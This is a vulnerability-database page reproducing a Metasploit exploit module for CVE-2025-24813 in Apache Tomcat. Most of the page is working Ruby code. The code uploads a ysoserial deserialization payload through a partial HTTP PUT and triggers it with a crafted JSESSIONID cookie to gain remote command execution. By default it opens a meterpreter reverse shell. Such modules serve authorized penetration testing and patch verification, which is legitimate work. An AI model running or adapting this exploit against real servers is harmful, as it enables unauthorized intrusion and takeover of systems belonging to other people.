Lucene search
K

Tomcat Partial PUT Java Deserialization

🗓️ 03 Apr 2025 18:53:59Reported by sw0rd1ight, Calum Hutton, h4ck3r-04Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 773 Views

Exploit Java deserialization in Apache Tomcat using partial HTTP PUT request for payload placement.

Related
Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

  Rank = ExcellentRanking

  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::JavaDeserialization
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Tomcat Partial PUT Java Deserialization',
        'Description' => %q{
          This module exploits a Java deserialization vulnerability in Apache
          Tomcat's session restoration functionality that can be exploited with a partial HTTP PUT request to
          place an attacker controlled deserialization payload in the <tomcat_root_dir>/webapps/ROOT/ directory.

          For the exploit to succeed, writes must be enabled for the default servlet,
          and org.apache.catalina.session.PersistentManager must be configured to use
          org.apache.catalina.session.FileStore.

          Verified working on 10.1.16-1
        },
        'Author' => [
          'sw0rd1ight', # Discovery
          'Calum Hutton', # MSF Module
          'h4ck3r-04' # MSF Module
        ],
        'References' => [
          ['CVE', '2025-24813'],
          ['EDB', '52134'],
          ['URL', 'https://lists.apache.org/thread/j5fkjv2k477os90nczf2v9l61fb0kkgq'],
          ['URL', 'https://nvd.nist.gov/vuln/detail/CVE-2025-24813'],
        ],
        'DisclosureDate' => '2025-03-10', # Vendor release note
        'License' => MSF_LICENSE,
        'Privileged' => false,
        'Targets' => [
          [
            'Unix Command',
            {
              'Platform' => ['unix', 'linux'],
              'Arch' => ARCH_CMD,
              'Type' => :unix_cmd,
              'DefaultOptions' => {
                'PAYLOAD' => 'cmd/unix/python/meterpreter/reverse_tcp'
              }
            }
          ],
          [
            'Windows Command',
            {
              'Platform' => 'win',
              'Arch' => ARCH_CMD,
              'Type' => :windows_cmd
            }
          ],
        ],
        'DefaultTarget' => 0,
        'DefaultOptions' => {
          'SSL' => false,
          'RPORT' => 443
        },
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
        }
      )
    )

    register_options([
      OptString.new('TARGETURI', [true, 'Base path', '/']),
      OptString.new('GADGET', [true, 'ysoserial gadget', 'CommonsBeanutils1']),
    ])
  end

  def check
    # Advanced check, runs the full exploit (without a command)
    # Assumes a 500 response from requesting the session indicates success
    begin
      upload_session_id = upload_payload('')
      unless upload_session_id
        return Exploit::CheckCode::Safe('The target is not vulnerable')
      end
    rescue Msf::Exploit::Failed => e
      return CheckCode::Safe(e)
    end

    trigger_res = trigger_payload(upload_session_id)
    if trigger_res&.code != 500
      return Exploit::CheckCode::Safe('The target is not vulnerable')
    end

    Exploit::CheckCode::Vulnerable('Successfully verified the upload vulnerability')
  end

  def exploit
    print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
    execute_command(payload.encoded)
  end

  def execute_command(cmd, _opts = {})
    print_status("Utilizing #{datastore['GADGET']} deserialization chain")

    upload_session_id = upload_payload(cmd)
    unless upload_session_id
      fail_with(Failure::UnexpectedReply, 'Failed to upload payload')
    end

    print_good("Uploaded ysoserial payload (#{upload_session_id}.session) via partial PUT")
    print_status('Attempting to deserialize session file..')

    trigger_payload_res = trigger_payload(upload_session_id)
    unless trigger_payload_res&.code == 500
      fail_with(Failure::UnexpectedReply, "Failed to deserialize session: #{trigger_payload_res.code}")
    end

    print_good('500 error response usually indicates success :)')
  end

  def upload_payload(cmd)
    # Generate a random session id
    session_id = Rex::Text.rand_text_alpha(10)
    # Determine the shell and register the payload for cleanup
    case target['Platform']
    when ['unix', 'linux']
      shell = 'bash'
      register_file_for_cleanup("../webapps/ROOT/#{session_id}.session")
    when 'win'
      shell = 'cmd'
      register_file_for_cleanup("..\\webapps\\ROOT\\#{session_id}.session}")
    else
      fail_with(Failure::NoTarget, "Unsupported target platform! (#{target['Platform']})")
    end

    res = send_partial_put(
      generate_java_deserialization_for_command(datastore['GADGET'].to_s, shell, cmd),
      "#{session_id}.session"
    )

    # 201/204 is the normal success code
    # 409 indicates a conflict or file permission issue
    # but the partial file will still be created
    if [201, 204, 409].include?(res&.code)
      session_id
    end
  end

  def trigger_payload(session_id)
    # Request the session id to retrieve the file and trigger deserialization
    request = {
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path),
      'headers' => { 'Cookie' => "JSESSIONID=.#{session_id}" }
    }
    send_request_cgi(request)
  end

  def send_partial_put(data, name)
    request = {
      'method' => 'PUT',
      'uri' => normalize_uri(target_uri.path, name),
      'headers' => { 'Content-Range' => 'bytes 0-5/100' },
      'data' => data
    }
    send_request_cgi(request)
  end

end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

06 Jul 2026 19:05Current
7.9High risk
Vulners AI Score7.9
CVSS 3.19.8 - 10
EPSS0.99945
SSVC
773